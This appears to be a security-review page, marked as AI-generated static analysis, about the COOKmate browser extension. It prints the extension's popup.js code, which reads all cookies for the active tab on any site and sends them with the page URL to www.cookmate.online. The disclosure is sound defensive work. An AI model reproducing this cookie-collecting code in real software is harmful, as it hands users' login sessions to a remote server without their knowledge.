Is COOKmate safe?
COOKmate sends every cookie for the active tab's site, plus its URL, to www.cookmate.online.
When the popup is opened, the extension reads all cookies for whatever site is in the active tab, including session cookies, and adds them to a request URL for www.cookmate.online. That page loads inside the popup, so the cookie values travel in the query string. This applies to every site, not only recipe sites.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
COOKmate popup sends the active site's cookies to cookmate.online in a URL
Code analysis shows the popup reads all cookies for the open tab, on any site, and puts them in the query string of a request to www.cookmate.online when you click the toolbar button.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
The user clicks the COOKmate toolbar button on any page.
The popup reads that page's cookies and loads a www.cookmate.online address containing them.
The manifest grants cookies and <all_urls>, so the behavior is not limited to recipe sites.
- Page addresshttps://www.example.com/account/settings
Tells the server which page you were on.
- Cookiessessionid=9f2c41ab7d3e;csrftoken=Qm81xT0aVd;
Cookie values for the site, which can include login session tokens.
- Timestamp1735689600000
Time of the request in milliseconds.
Cookie read and request construction in popup.js
// popup.js, runs each time the toolbar popup opens// 1. find the active tab// 2. read every cookie the browser holds for that tab's URL (any site)// 3. join them as name=value;// 4. place the tab URL and the cookie string in the query string of a// www.cookmate.online request, loaded into the popup iframe// and also offered as an "open" link (&s=true)let querying = browser.tabs.query({active: true, currentWindow: true});querying.then(function (tabs) { var tab = tabs[0]; var tabcookies = ''; let getCookies = browser.cookies.getAll({"url": tab.url}); getCookies.then(function (cookie) { for (var i = 0; i < cookie.length; i++) { tabcookies = tabcookies + cookie[i].name + "=" + cookie[i].value + ";"; } var newURL = 'https://www.cookmate.online/recipes/l/?url=' + encodeURIComponent(tab.url) + '&t=' + (new Date().getTime()) + '&c=' + encodeURIComponent(tabcookies) + '&iframe=False'; iframe.src = newURL; document.getElementById('mycookbook_content').style.display = 'none'; var link = document.createElement("a"); var mycookbook_open = document.getElementById("mycookbook_open"); link.href=newURL + "&s=true"; link.target='_blank'; link.appendChild(document.createTextNode(browser.i18n.getMessage("open"))); mycookbook_open.appendChild(link); });});- www.cookmate.online
Receives page URL and cookie string at /recipes/l/ and is rendered in the popup.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Act on the current tab, but only after you click the extension
activeTab
Read and change cookies, including the ones that keep you signed in
cookies
Where it sends data
Destinations our analysis observed COOKmate contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.cookmate.online
COOKmate sends data to www.cookmate.online. One other extension we have analysed sends data here.